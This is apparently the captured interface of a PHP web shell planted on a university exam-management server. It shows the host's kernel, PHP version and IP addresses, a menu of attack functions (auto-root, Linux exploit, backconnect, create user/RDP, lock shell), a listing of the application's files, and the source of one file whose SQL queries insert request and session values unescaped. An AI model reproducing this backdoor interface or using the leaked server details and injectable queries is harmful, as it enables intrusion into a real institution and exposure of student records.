Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.141.43.16
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
reva /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
ECHblk.php
10.99
KB
-rwxr-xr-x
Ext-MarkEntry-Setup.php
18.68
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
25.32
KB
-rwxr-xr-x
MarkEntry-Setup03062016.php
20.02
KB
-rwxr-xr-x
MarkEntry-Setup20092016.php
20.57
KB
-rwxr-xr-x
MarkEntry-SetupTEST.php
21.01
KB
-rwxr-xr-x
MarkEntry-Setup_28102014.php
22.99
KB
-rwxr-xr-x
PracticalIndent.php
5.8
KB
-rw-rw-r--
TAGMAY2013.pdf
331.03
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
TarkaFormatStyles_old.php
3.71
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
8.27
KB
-rwxr-xr-x
absent_entry_setup_old.php
7.61
KB
-rwxr-xr-x
ack_exam_app_form.php
12.09
KB
-rwxr-xr-x
ack_exam_app_form_07032014.php
9
KB
-rwxr-xr-x
ack_exam_app_form_14032014.php
9.6
KB
-rwxr-xr-x
ack_report.php
2.75
KB
-rw-rw-r--
ack_rv_rt_application.php
7.57
KB
-rwxr-xr-x
ack_rv_rt_application_5days.ph...
7.41
KB
-rwxr-xr-x
ack_rv_rt_application_before_l...
6.02
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admorder_bnu.php
14.78
KB
-rw-rw-r--
ansbookentry.php
6.33
KB
-rw-r--r--
attendance.php
6.13
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
3.42
KB
-rwxr-xr-x
backup_1.php
1.86
KB
-rw-rw-r--
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
bundle_dispatch.php
2.84
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
candidate-entry.php
43.65
KB
-rwxr-xr-x
candidate-entry1.php
37
KB
-rwxr-xr-x
candidate-entry24082012.php
33.21
KB
-rwxr-xr-x
candidate-entry_220413.php
33.21
KB
-rwxr-xr-x
candidate-entry_without_iapr_i...
34.88
KB
-rwxr-xr-x
candidate-entrybefore yearexam...
34.55
KB
-rwxr-xr-x
candidate-entrykus.php
33.23
KB
-rwxr-xr-x
candidate-entryold.php
34.55
KB
-rwxr-xr-x
cappcontext.php
3.19
KB
-rwxr-xr-x
challan_entries.php
13.34
KB
-rwxr-xr-x
challan_preparation.php
10.28
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
college.php
4.61
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxr-xr-x
college_degree_status.php
5.86
KB
-rwxr-xr-x
connect.php
1.63
KB
-rwxr-xr-x
copomarksentry.php
10.56
KB
-rw-r--r--
copomarksexternal.php
9.13
KB
-rw-r--r--
coporeport.php
4.46
KB
-rw-r--r--
coutput.php
1.76
KB
-rwxr-xr-x
coutput_11112019.php
1.75
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_grid_group_files_ol...
9.61
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
createattclass.php
5.22
KB
-rw-rw-r--
createclassattend.php
14.7
KB
-rw-rw-r--
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
4.86
KB
-rwxr-xr-x
degree.php
6.51
KB
-rwxr-xr-x
degree1.php
6.78
KB
-rwxr-xr-x
display_details_in_grid.php
105.37
KB
-rwxr-xr-x
display_details_in_grid_240320...
98.86
KB
-rwxr-xr-x
display_details_in_grid_before...
98.71
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.68
KB
-rwxr-xr-x
display_details_in_grid_old_26...
101.67
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
download_misc_files.php
3.3
KB
-rwxr-xr-x
download_misc_files_19062014.p...
3.25
KB
-rwxr-xr-x
download_photo.php
4.17
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_23.php
120
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
error_log.php
749
B
-rw-rw-r--
execute_query.php
2.5
KB
-rwxr-xr-x
execute_query27062012.php
2.51
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
ext_freeze_module_at_admin_col...
7.9
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.36
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.61
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getdata.php
39.04
KB
-rwxr-xr-x
getdata110911.php
16.03
KB
-rwxr-xr-x
getdata27062012.php
16.8
KB
-rwxr-xr-x
getdata_22.php
32.9
KB
-rwxr-xr-x
getdata_24032015.php
20.96
KB
-rwxr-xr-x
getdata_bf_sub_corr.php
36.29
KB
-rwxr-xr-x
getdata_new.php
34
KB
-rwxr-xr-x
getdata_old.php
28.7
KB
-rwxr-xr-x
getdata_old_26062020.php
34
KB
-rwxr-xr-x
getfeeinformation.php
6.94
KB
-rwxr-xr-x
getmoduledetails.php
23.7
KB
-rwxr-xr-x
getnumword.php
7.42
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
ia_room_allotment_datewise.php
12.13
KB
-rwxr-xr-x
iaabsententry.php
3.1
KB
-rw-rw-r--
iaroomdeclaration.php
2.6
KB
-rwxr-xr-x
iatimetable.php
7.61
KB
-rw-r--r--
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
15.95
KB
-rwxr-xr-x
login.php_1
3.25
KB
-rwxr-xr-x
login27062012.php
2.85
KB
-rwxr-xr-x
login_03032015.php
3.6
KB
-rwxr-xr-x
login_18082017.php
5.56
KB
-rwxr-xr-x
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
markEntry-Setup2.php
21.93
KB
-rwxr-xr-x
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
980
B
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
103.02
KB
-rwxr-xr-x
mregistry24042015.php
55.01
KB
-rwxr-xr-x
mregistry_19102019.php
71.68
KB
-rwxr-xr-x
mregistry_before_subupdtostud_...
52.68
KB
-rwxr-xr-x
mregistry_beforedownload.php
53.04
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
practical_marks_details.php
13.18
KB
-rwxr-xr-x
printexamform.php
11.54
KB
-rwxr-xr-x
prpendsubcnt.php
4.13
KB
-rw-r--r--
prsubcnt.php
2.68
KB
-rw-r--r--
qppattern.php
11.54
KB
-rw-r--r--
qptable_not_upd.php
1.5
KB
-rwxr-xr-x
receive_rv_rt_application.php
7.65
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
7.91
KB
-rwxr-xr-x
room_allotment_19102019.php
7.21
KB
-rwxr-xr-x
room_allotment_datewise.php
17.08
KB
-rwxr-xr-x
room_allotment_datewise_bf_tt....
16.11
KB
-rwxr-xr-x
room_allotment_datewise_bkp.ph...
15.71
KB
-rwxr-xr-x
roomdeclaration.php
2.2
KB
-rwxr-xr-x
rvdates.php
6.46
KB
-rwxr-xr-x
savesspdetails.php
9.8
KB
-rw-rw-r--
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
studSubIdent.php
10.47
KB
-rw-rw-r--
student_entry.php
36.46
KB
-rwxr-xr-x
student_entry1307.php
37.71
KB
-rwxr-xr-x
student_entry27062012.php
30.47
KB
-rwxr-xr-x
student_entryold.php
30.33
KB
-rwxr-xr-x
subIAMarksEntry.php
9.81
KB
-rw-rw-r--
subjectList_display.php
11.01
KB
-rwxr-xr-x
subject_freshExam.php
32.37
KB
-rwxr-xr-x
subjectfreez.php
6.21
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
9.96
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
76.57
KB
-rwxr-xr-x
teachers.php
10.33
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
4.78
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
updatecopo.php
9.34
KB
-rw-r--r--
updateexamcnt.php
2.92
KB
-rwxr-xr-x
updateqpdet.php
5.33
KB
-rw-rw-r--
upload_studentPhoto.php
10.28
KB
-rwxr-xr-x
upload_studentPhoto02062015.ph...
11.58
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadcopo.php
7.94
KB
-rw-rw-r--
uploadcopofile.php
225
B
-rw-rw-r--
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
usersetup.php
24.14
KB
-rwxr-xr-x
usersubj_identification.php
4.74
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : studSubIdent.php
<?php function getDegreeGroup($aobj_context) { $query = "SELECT DISTINCT(fdeggrp) AS internal_code,fdeggrp AS VALUE FROM degree WHERE ifnull(fdeggrp,'') <> ''"; $results = $aobj_context->mobj_db->GetAll($query); $arr['deggrp']=$results; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } function getDegreeNames($aobj_context) { $deg = $aobj_context->mobj_data["degtype"]; //var_dump($deg ); $query1="SELECT DISTINCT(fdegree) AS internal_code,CONCAT(fdegree,' - ',fdescpn) AS VALUE FROM degree where fdeggrp='{$deg}' "; //var_dump($query1); $results1=$aobj_context->mobj_db->GetAll($query1); $arr['degree']=$results1; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } function getExamAppDegName($aobj_context) { session_start(); $collcode=$_SESSION['collcode']; //var_dump($deg ); $query1="SELECT DISTINCT d.fdegree AS internal_code,CONCAT(d.fdegree,' - ',d.fdescpn) AS VALUE FROM degree d inner join candsum r on d.fdegree = r.fdegree where r.fcollcode = '{$collcode}'"; $results1=$aobj_context->mobj_db->GetAll($query1); $arr['degree']=$results1; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } function getExamDegreeExamName($aobj_context) { session_start(); $collcode=$_SESSION['collcode']; $degree = $aobj_context->mobj_data["degree"]; //var_dump($deg ); $query1="SELECT DISTINCT d.fexamno AS internal_code,CONCAT(d.fexamno,' - ',d.fexamname) AS VALUE FROM degree d inner join candsum r on d.fdegree = r.fdegree and d.fexamno = r.ffreshexam where r.fcollcode = '{$collcode}' and r.fdegree = '{$degree}'"; $results1=$aobj_context->mobj_db->GetAll($query1); $arr['degexam']=$results1; $query1="SELECT DISTINCT fsection AS internal_code,fsection AS VALUE FROM student where fcollcode = '{$collcode}' and fdegree = '{$degree}' and ifnull(fsection,'') <> ''"; $results1=$aobj_context->mobj_db->GetAll($query1); $arr['section']=$results1; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } function displayStudList($aobj_context) { session_start(); $collcode=$_SESSION['collcode']; $degree = $aobj_context->mobj_data["degree"]; $exam = $aobj_context->mobj_data["degexam"]; $section = $aobj_context->mobj_data["section"]; $cnd = "and stu.fsection = '{$section}'"; if($section == 'All') { $cnd = ""; } $query1="select stu.FREGNO, stu.FNAME,d.ftotsub,group_concat(cd.fsubcode,'-',ifnull(cd.finserted,'F')) as subcode FROM student stu inner join candsum mak ON stu.fdegree = mak.fdegree and stu.FREGNO=mak.FREGNO and mak.Fdegree='{$degree}' and mak.ffreshexam='{$exam}' and mak.FCOLLCODE='{$collcode}' inner join degree d on d.FDEGREE =mak.FDEGREE and d.Fexamno=mak.Fexamno and d.FMEYEAR=mak.FYEAR and d.FMEEXAMTYP=mak.FEXAMTYPE inner join canddet cd on mak.fregno = cd.fregno and mak.fdegree = cd.fdegree and mak.fcollcode = cd.fcollcode and mak.ffreshexam = cd.fexamno WHERE stu.FREGNO != '' and mak.ffreshexam='{$exam}' {$cnd} group by mak.fregno order by stu.FREGNO"; $results1=$aobj_context->mobj_db->GetAll($query1); $ftotsub = $results1[0]['ftotsub']; $query = "select distinct fsubcode,fsubname,fsubshort from subject where fdegree = '{$degree}' and fexamno = '{$exam}' and ifnull(fsuspend,'') <> 'T' group by fsubcode"; $res=$aobj_context->mobj_db->GetAll($query); $opt = "<option>--Select--</option>"; foreach($res as $value) { $opt .= "<option value = '{$value['fsubcode']}'>".$value['fsubcode']." - ".$value['fsubshort']." - ".$value['fsubname']."</option>"; } $id = 2+$ftotsub; //var_dump($query); $e_data.="<table width='95%' id = 'showteachsub' cellspacing='0' class='tr_ventor_row' cellpadding='0' border='0' >"; $e_data.="<th align='left' colspan='{$id}' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Subject Identification</th>"; $e_data.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $e_data.="<td style='padding:2px; width:20px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Sl.<br>No.</center></td>"; $e_data.="<td style='padding:2px; width:50px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Reg No</center></td>"; for($i=1;$i<=$ftotsub;$i++) { $e_data.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Subject {$i}</center></td>"; } $e_data.="</tr>"; $k=1; $border_bottom="border-bottom:1px solid #C5DBEC;"; foreach($results1 as $value) { $e_data.="<tr class='ui-widget-content jqgrow' style = 'height:25px;'>"; $e_data.="<td tabindex=-1 align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'>{$k}</td>"; $e_data.="<td tabindex=-1 align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'> <input tabindex=-1 {$inp_class} type=text name='Regno' style='width:80px;border:none;' readonly id='reg_{$value[FREGNO]}' value='{$value[FREGNO]}'> </td>"; for($i=1;$i<=$ftotsub;$i++) { $e_data.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'> <select style='width:100px;border:none;' id = '$value[FREGNO]_$i' onchange = 'getupdate(this.id)'>"; $e_data.=$opt; $e_data.="</select> <input type ='hidden' id = 'h_$value[FREGNO]_$i' value = ''> <input type ='hidden' id = 'o_$value[FREGNO]_$i' value = ''> </td>"; } $k++; $e_data.="</tr>"; } $arr['tabledata'] = $e_data; $arr['totsub'] = $ftotsub; $arr['mandsub'] = $results1; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } function saveStudSubIdent($aobj_context) { session_start(); include("error_log.php"); $collcode=$_SESSION['collcode']; $FLOGNAME = $_SESSION['usr']; $degree = $aobj_context->mobj_data["degree"]; $exam = $aobj_context->mobj_data["degexam"]; $subarry = $aobj_context->mobj_data["subarry"]; $fsubarry = json_decode($subarry); $check_adminsion_freeze = "select distinct d.fmeyear, d.fmeexamtyp from degree d where d.FDEGREE='{$degree}'"; $lobj_check_adminsion_freeze = $aobj_context->mobj_db->getRow($check_adminsion_freeze); // var_dump($fsubarry); // die(); foreach($fsubarry as $value) { $reg_no = $value->regno; $subcode = $value->subcode; $osubcode = $value->osubcode; $qry = "select distinct * from candsum c where c.FDEGREE='{$degree}' and c.fregno = '{$reg_no}' and ifnull(ffreshexam,'') ='{$exam}'"; $res = $aobj_context->mobj_db->getRow($qry); $college_code = $res['FCOLLCODE']; $semexamfee = $res["FEXAMFEE{$exam}"]; $prs = ""; if($semexamfee > 0) { $prs = "P"; } if($osubcode == '') { $query="insert into canddet (FDEGREE, FEXAMNO, FCOLLCODE, FREGNO, FSUBCODE, FINSERTED, FPRESENT, fyear, fexamtype, fmoduser, fmoddate) values ( '{$degree}', '{$exam}', '{$college_code}', '{$reg_no}', '{$subcode}', 'T', '{$prs}', '{$lobj_check_adminsion_freeze['fmeyear']}', '{$lobj_check_adminsion_freeze['fmeexamtyp']}', '{$FLOGNAME}',now() )"; $lobj_insert_canddet_records = $aobj_context->mobj_db->Execute($query); $query = "INSERT ignore INTO appcanddet (APPNO, FDEGREE, FEXAMNO, FCOLLCODE, FREGNO, FSUBCODE, FINSERTED, FPRESENT, FYEAR, FEXAMTYPE) select APPNO, FDEGREE,'{$exam}',FCOLLCODE,FREGNO,'{$subcode}','T','{$prs}',FYEAR,FEXAMTYPE from appcandsum where fregno = '{$reg_no}'"; $lobj_insert_canddet_records1 = $aobj_context->mobj_db->Execute($query); }else { $query = "update canddet set fsubcode = '{$subcode}', fpresent = '{$prs}', fmoduser = '{$FLOGNAME}', fmoddate = now() where fregno = '{$reg_no}' and fcollcode = '{$college_code}' and fdegree = '{$degree}' and fsubcode = '{$osubcode}'"; $lobj_insert_canddet_records = $aobj_context->mobj_db->Execute($query); $query1 = "update appcanddet set fsubcode = '{$subcode}', fpresent = '{$prs}' where fregno = '{$reg_no}' and fcollcode = '{$college_code}' and fdegree = '{$degree}' and fsubcode = '{$osubcode}'"; $res = $aobj_context->mobj_db->Execute($query1); } $univcode = $_SESSION['FUNIVCODE']; $mob = $_SESSION['FMOBILE']; $usr = $_SESSION['usr']; $college_code = $_SESSION['collcode']; $remark = "SUBMOD - Subject Modification - $degree, $exam, $College_Code,".$reg_no.", Old: $osubcode, New: ".$subcode; $enttype = "SUBMOD"; $res = error_logs($aobj_context,$univcode,$remark,$college_code,$enttype,$usr,$mob); $query1 = "insert ignore into marks (FDEGREE, FEXAMNO, FCOLLCODE, FREGNO, FSUBCODE, fmarks, fyear, fexamtype) select c.fdegree,c.fexamno,c.fcollcode,c.fregno, s.fcsubcode,'-1', c.fyear,c.fexamtype from candsum c inner join subject s on c.fdegree = s.fdegree and s.fexamno = '{$exam}' and s.FSUBCODE = '{$subcode}' where c.fregno = '{$reg_no}' and c.fcollcode = '{$college_code}' and c.fdegree = '{$degree}' and s.fintass = 'T' and s.fretain = 'T'"; $res = $aobj_context->mobj_db->Execute($query1); $query = "insert ignore into marks_pr (FDEGREE, FEXAMNO, FCOLLCODE,focollcode, FREGNO, FSUBCODE, fmarks11, fyear, fexamtype) select cd.fdegree,cd.fexamno,cd.fcollcode,cd.fcollcode,cd.fregno,s.fcsubcode,'-1', cd.fyear,cd.fexamtype from subject s inner join candsum cd on s.fdegree = cd.fdegree and s.fsubcode = '{$subcode}' and cd.fregno = '{$reg_no}' and ifnull(cd.fpassmth,'') = '' and ifnull(cd.fthpr,'') <> 'F' where s.fdegree = '{$degree}' and cd.fcollcode = '{$college_code}' and s.ftheory = 'F' and ifnull(s.fintass,'F') <> 'T'"; $res = $aobj_context->mobj_db->Execute($query); } if($lobj_insert_canddet_records) { $rdata = "Updated Successfully."; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success")); return $rdata; } else { $rdata = "No Updation / Add..!"; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure")); return $rdata; } } ?>
Close